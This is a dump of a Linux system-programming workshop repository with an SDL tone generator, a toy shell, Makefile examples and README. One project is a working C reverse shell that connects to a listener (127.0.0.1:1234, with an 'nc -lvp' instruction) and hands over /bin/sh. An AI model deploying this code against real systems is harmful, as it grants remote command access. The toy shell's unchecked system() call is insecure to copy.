#define NOTE_C2S 69 36 | #define NOTE_D2 73 37 | #define NOTE_D2S 77 38 | #define NOTE_E2 82 39 | #define NOTE_F2 87 40 | #define NOTE_F2S 92 41 | #define NOTE_G2 98 42 | #define NOTE_G2S 103 43 | #define NOTE_A2 110 44 | #define NOTE_A2S 116 45 | #define NOTE_B2 123 46 | #define NOTE_C3 130 47 | #define NOTE_C3S 138 48 | #define NOTE_D3 146 49 | #define NOTE_D3S 155 50 | #define NOTE_E3 164 51 | #define NOTE_F3 174 52 | #define NOTE_F3S 185 53 | #define NOTE_G3 196 54 | #define NOTE_G3S 207 55 | #define NOTE_A3 220 56 | #define NOTE_A3S 233 57 | #define NOTE_B3 246 58 | #define NOTE_C4 261 59 | #define NOTE_C4S 277 60 | #define NOTE_D4 293 61 | #define NOTE_D4S 311 62 | #define NOTE_E4 329 63 | #define NOTE_F4 349 64 | #define NOTE_F4S 370 65 | #define NOTE_G4 392 66 | #define NOTE_A4 440 67 | #define NOTE_A4S 466 68 | #define NOTE_B4 493 69 | #define NOTE_C5 523 70 | #define NOTE_C5S 554 71 | #define NOTE_D5 587 72 | #define NOTE_D5S 622 73 | #define NOTE_E5 659 74 | #define NOTE_F5 698 75 | #define NOTE_F5S 739 76 | #define NOTE_G5 783 77 | #define NOTE_G5S 830 78 | #define NOTE_A5 880 79 | #define NOTE_A5S 932 80 | #define NOTE_B5 987 81 | #define NOTE_C6 1046 82 | #define NOTE_C6S 1108 83 | #define NOTE_D6 1174 84 | #define NOTE_D6S 1244 85 | #define NOTE_E6 1318 86 | #define NOTE_F6 1396 87 | #define NOTE_F6S 1479 88 | #define NOTE_G6 1567 89 | 90 | 91 | 92 | SDL_AudioSpec spec; 93 | 94 | /* These are the audio card settings */ 95 | #define FREQ 44100 96 | #define SAMPLES 8192 97 | 98 | /* This is basically an arbitrary number */ 99 | #define VOLUME 127.0 100 | 101 | struct play_sound_args { 102 | uint8_t exists; 103 | int duration; 104 | int freq; 105 | float sinPos; 106 | float sinStep; 107 | }; 108 | 109 | void open_audio(); 110 | 111 | void close_audio(); 112 | 113 | void play_sound(void* args); 114 | 115 | #endif -------------------------------------------------------------------------------- /07-projects/02-musicmaker/include/musicmaker/util.h: -------------------------------------------------------------------------------- 1 | #ifndef __UTIL_H__ 2 | #define __UTIL_H__ 3 | 4 | void sleep_ms(long ms); 5 | 6 | #endif -------------------------------------------------------------------------------- /07-projects/02-musicmaker/src/composer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | void playNote(int freq, int duration) { 9 | pthread_t th; 10 | struct play_sound_args *note_args = malloc(1 * sizeof(struct play_sound_args)); 11 | note_args->duration = duration; 12 | note_args->freq = freq; 13 | 14 | pthread_create(&th, NULL, (void *) &play_sound, note_args); 15 | pthread_detach(th); 16 | sleep_ms(duration); 17 | } 18 | 19 | void *back_instrument(void *d) { 20 | sleep_ms(200); 21 | playNote(NOTE_D3, 200); 22 | sleep_ms(200); 23 | playNote(NOTE_D3, 200); 24 | sleep_ms(200); 25 | playNote(NOTE_D3, 200); 26 | sleep_ms(200); 27 | playNote(NOTE_D3, 200); 28 | sleep_ms(200); 29 | playNote(NOTE_C3S, 200); 30 | sleep_ms(200); 31 | playNote(NOTE_C3S, 200); 32 | sleep_ms(200); 33 | playNote(NOTE_C3S, 200); 34 | sleep_ms(200); 35 | playNote(NOTE_C3S, 200); 36 | sleep_ms(200); 37 | playNote(NOTE_D3, 200); 38 | sleep_ms(200); 39 | playNote(NOTE_D3, 200); 40 | sleep_ms(200); 41 | playNote(NOTE_D3, 200); 42 | sleep_ms(200); 43 | playNote(NOTE_D3, 200); 44 | sleep_ms(200); 45 | playNote(NOTE_A2, 200); 46 | sleep_ms(200); 47 | playNote(NOTE_A2, 200); 48 | sleep_ms(200); 49 | playNote(NOTE_D3, 200); 50 | sleep_ms(200); 51 | playNote(NOTE_D3, 200); 52 | sleep_ms(200); 53 | } 54 | 55 | void *main_instrument(void *d) { 56 | playNote(NOTE_A4, 400); 57 | 58 | playNote(NOTE_E4, 200); 59 | playNote(NOTE_F4, 200); 60 | playNote(NOTE_G4, 400); 61 | 62 | playNote(NOTE_F4, 200); 63 | playNote(NOTE_E4, 200); 64 | playNote(NOTE_D4, 400); 65 | 66 | playNote(NOTE_D4, 200); 67 | playNote(NOTE_F4, 200); 68 | playNote(NOTE_A4, 400); 69 | 70 | playNote(NOTE_G4, 200); 71 | playNote(NOTE_F4, 200); 72 | playNote(NOTE_E4, 600); 73 | 74 | playNote(NOTE_F4, 200); 75 | playNote(NOTE_G4, 400); 76 | playNote(NOTE_A4, 400); 77 | 78 | playNote(NOTE_F4, 400); 79 | 80 | playNote(NOTE_D4, 400); 81 | 82 | playNote(NOTE_D4, 400); 83 | 84 | sleep_ms(600); 85 | 86 | 87 | } 88 | 89 | int main(int argc, char** argv) { 90 | int duration = 1; 91 | pthread_t main_instr; 92 | pthread_t back_instr; 93 | 94 | open_audio(); 95 | 96 | pthread_create(&main_instr, NULL, main_instrument, NULL); 97 | pthread_detach(main_instr); 98 | 99 | pthread_create(&back_instr, NULL, back_instrument, NULL); 100 | pthread_detach(back_instr); 101 | 102 | sleep(10); 103 | close_audio(); 104 | return 0; 105 | } -------------------------------------------------------------------------------- /07-projects/02-musicmaker/src/musicmaker/sound.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | #define NR_CHANNELS 8 11 | 12 | struct play_sound_args sound_args[NR_CHANNELS] = {0}; 13 | int nr_active_channels = 0; 14 | 15 | 16 | struct play_sound_args *find_empty_channel() { 17 | int i; 18 | for(i = 0; i < NR_CHANNELS; i++) { 19 | if(sound_args[i].exists == 0) { 20 | return &sound_args[i]; 21 | } 22 | } 23 | return NULL; 24 | } 25 | 26 | void clear_wave(void *data, uint8_t *stream, int len) { 27 | int i=0; 28 | for (i=0; isinPos)); 38 | psa->sinPos += psa->sinStep; 39 | } 40 | } 41 | 42 | void combine_waves(void *data, uint8_t *stream, int len) { 43 | clear_wave(data, stream, len); 44 | int i; 45 | for(i = 0; i < NR_CHANNELS; i++) { 46 | if(sound_args[i].exists) generate_wave(data, stream, len, &sound_args[i]); 47 | } 48 | } 49 | 50 | void open_audio() { 51 | /* Set up the requested settings */ 52 | spec.freq = FREQ; 53 | spec.format = AUDIO_U8; 54 | spec.channels = 1; 55 | spec.samples = SAMPLES; 56 | spec.callback = (*combine_waves); 57 | spec.userdata = NULL; 58 | 59 | /* Open the audio channel */ 60 | if (SDL_OpenAudio(&spec, NULL) < 0) { 61 | /* FAIL! */ 62 | fprintf(stderr, "Failed to open audio: %s \n", SDL_GetError()); 63 | exit(1); 64 | } 65 | SDL_PauseAudio(0); 66 | } 67 | 68 | void close_audio() { 69 | SDL_PauseAudio(1); 70 | SDL_CloseAudio(); 71 | } 72 | 73 | void play_sound(void* args) { 74 | 75 | struct play_sound_args *psa = (struct play_sound_args *) args; 76 | struct play_sound_args *target_psa = find_empty_channel(); 77 | 78 | if(target_psa) { 79 | nr_active_channels++; 80 | *target_psa = *psa; 81 | free(psa); 82 | 83 | int duration = target_psa->duration; 84 | long freq = target_psa->freq; 85 | long reqFreq = freq; 86 | 87 | target_psa->exists = 1; 88 | 89 | fprintf(stdout, "Playing freq: %ld\n", freq); 90 | target_psa->sinPos = 0; 91 | target_psa->sinStep = 2 * M_PI * reqFreq / FREQ; 92 | sleep_ms(duration); 93 | 94 | 95 | target_psa->exists = 0; 96 | nr_active_channels--; 97 | } 98 | 99 | } -------------------------------------------------------------------------------- /07-projects/02-musicmaker/src/musicmaker/util.c: -------------------------------------------------------------------------------- 1 | #include "musicmaker/util.h" 2 | 3 | #include 4 | 5 | void sleep_ms(long ms) { 6 | struct timespec tspec; 7 | 8 | tspec.tv_nsec = ((ms % 1000) * 1000000); 9 | tspec.tv_sec = (ms / 1000); 10 | 11 | nanosleep(&tspec, NULL); 12 | } -------------------------------------------------------------------------------- /07-projects/03-reverse-shell/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(03-reverse-shell) 6 | 7 | add_executable(reverse-shell 8 | src/reverse-shell.c 9 | ) 10 | -------------------------------------------------------------------------------- /07-projects/03-reverse-shell/src/reverse-shell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | /* 9 | * Attacker's IP address and port. This IP 10 | * address was in use at the lecture. If 11 | * you want to use this example, change HOST 12 | * IP address accordingly. 13 | */ 14 | #define HOST "127.0.0.1" 15 | #define PORT 1234 16 | /* 17 | * For the server, run "nc -lvp 1234" in attacker's 18 | * terminal 19 | */ 20 | 21 | int main(int argc, char* argv[], char* envp[]) 22 | { 23 | struct sockaddr_in sa = { 24 | .sin_family = AF_INET, 25 | .sin_addr.s_addr = inet_addr(HOST), 26 | .sin_port = htons(PORT) 27 | }; 28 | 29 | int s = socket(AF_INET, SOCK_STREAM, 0); 30 | 31 | connect(s, (struct sockaddr*) &sa, sizeof(sa)); 32 | 33 | dup2(s, 0); // stdin 34 | dup2(s, 1); // stdout 35 | dup2(s, 2); // stderr 36 | 37 | char* argv_[] = {}; 38 | char* envp_[] = {}; 39 | execve("/bin/sh", argv_, envp_); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /07-projects/04-worst-shell/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | project(04-worst-shell) 6 | 7 | add_executable(worst-shell 8 | src/wsh.c 9 | ) 10 | -------------------------------------------------------------------------------- /07-projects/04-worst-shell/src/wsh.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(int argc, char* argv[], char* envp[]) { 8 | 9 | char* INBUF = (char*)malloc(BUFSIZ); 10 | 11 | do{ 12 | fprintf(stdout, "$ "); 13 | fgets(INBUF, BUFSIZ, stdin); 14 | pid_t pid = fork(); 15 | if(pid == 0) { 16 | system(INBUF); 17 | exit(EXIT_SUCCESS); 18 | } 19 | 20 | wait(NULL); 21 | 22 | } while(1); 23 | 24 | free(INBUF); 25 | 26 | return 0; 27 | } -------------------------------------------------------------------------------- /07-projects/05-make-example/Makefile: -------------------------------------------------------------------------------- 1 | 2 | 3 | all: 4 | gcc main.c -o main 5 | 6 | 7 | run: all 8 | ./main 9 | 10 | clean: 11 | -rm -rf main 12 | -------------------------------------------------------------------------------- /07-projects/05-make-example/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() { 4 | printf("Hello World!\n"); 5 | return 0; 6 | } 7 | -------------------------------------------------------------------------------- /07-projects/05-make-example/readme.md: -------------------------------------------------------------------------------- 1 | ## Makefile Example 2 | 3 | For more definitive examples check out [Stewart Weiss's make tutorial](https://github.com/stewartweiss/Make-Tutorial). 4 | -------------------------------------------------------------------------------- /07-projects/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | # abbreviation for unix programming course 6 | project(upc-projects) 7 | 8 | 9 | add_subdirectory(01-http-server-fantasy) 10 | add_subdirectory(02-musicmaker) 11 | add_subdirectory(03-reverse-shell) 12 | add_subdirectory(04-worst-shell) 13 | 14 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5.1) 2 | 3 | set(CMAKE_CXX_STANDARD 11) 4 | 5 | # abbreviation for unix programming course 6 | project(upc) 7 | 8 | add_subdirectory(00-introduction) 9 | add_subdirectory(02-file-operations) 10 | add_subdirectory(03-sockets) 11 | add_subdirectory(04-process-management) 12 | add_subdirectory(05-multithreading) 13 | add_subdirectory(06-inter-process-communication) 14 | add_subdirectory(07-projects) 15 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Emir Cem Gezer 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Introduction to Linux Programming 2 | ## Brief 3 | This repository contains sample codes for [introduction to linux programming workshop](https://kamp.linux.org.tr/2020/kis/kurslar/linux-sistem-programlamaya-giris/) conducted at Anadolu University in January 2020. There were no lecture notes therefore there is no notes in this repository either. However, we are working on to write lecture notes with the collaboration of participants. In the mean time, If you need resources take a look at the [Good Resources](#good-resources) section. Source codes in repository uses both POSIX API and System V API. 4 | 5 | Now the executable files, under the build folder, are ready to run. 6 | 7 | ## Topics 8 | - [Introduction](00-introduction) 9 | - [Develepment Environment](01-development-environment) 10 | - [File Operations](02-file-operations) 11 | - [Sockets](03-sockets) 12 | - [Process Management](04-process-management) 13 | - [Multithreading](05-multithreading) 14 | - [Inter Process Communication](06-inter-process-communication) 15 | 16 | ## Examples 17 | - [HTTP Server](07-projects/01-http-server-fantasy) 18 | - [Music Maker](07-projects/02-musicmaker) 19 | - [Reverse Shell](07-projects/03-reverse-shell) 20 | - [Worst Shell](07-projects/04-worst-shell) 21 | - [Makefile Example](07-projects/05-make-example) 22 | 23 | ## Good Resources 24 | - [Unix Lecture Notes - Stewart Weiss, Associate Professor](http://www.compsci.hunter.cuny.edu/~sweiss/course_materials/unix_lecture_notes.php?fbclid=IwAR3q1vunyp8N2yxauL_pqTGllDxSKBOjl-DrjGcd3A0E5JEuc72djsJDMAw) 25 | 26 | ## Get It Working 27 | Clone the repository to your home directory: 28 | ```sh 29 | cd ~ 30 | git clone https://github.com/incebellipipo/introduction-to-linux-programming.git 31 | ``` 32 | Enter the downloaded folder and create a new build folder, then enter the folder you just created: 33 | ```sh 34 | cd introduction-to-linux-programming/ 35 | mkdir build 36 | cd build/ 37 | ``` 38 | Generate a Makefile with `cmake`. Lastly, build and compile using `make` command: 39 | ```sh 40 | cmake .. 41 | make 42 | ``` 43 | 44 | #### Contributing 45 | Any contribution is welcomed, as always. Most important part is how and what. 46 | 47 | This repository needs: 48 | - Translation. Any translation will be welcomed. You may create `README..md` file next to `README.md` file. 49 | - More examples. Yes we need more examples 50 | - Explanations for examples. I also didn't write what which code does. _Sorry folks™, didn't have time to write docs, classic._ 51 | - Resources. Good ones. If you think you know a good resource, let us know. 52 | 53 | How you can contribute: 54 | - Fork this repository _You'll need a github account. If you don't want to create it, clone it, change it, [mail it](mailto:emircem.gezer@gmail.com)._ 55 | - Do what you do. 56 | - Test your code. or I'll. _You may make me test your code_. 57 | - Use [conventional commits](https://www.conventionalcommits.org). _I'm really sensitive about it_. 58 | - Create pull request as usual. 59 | --------------------------------------------------------------------------------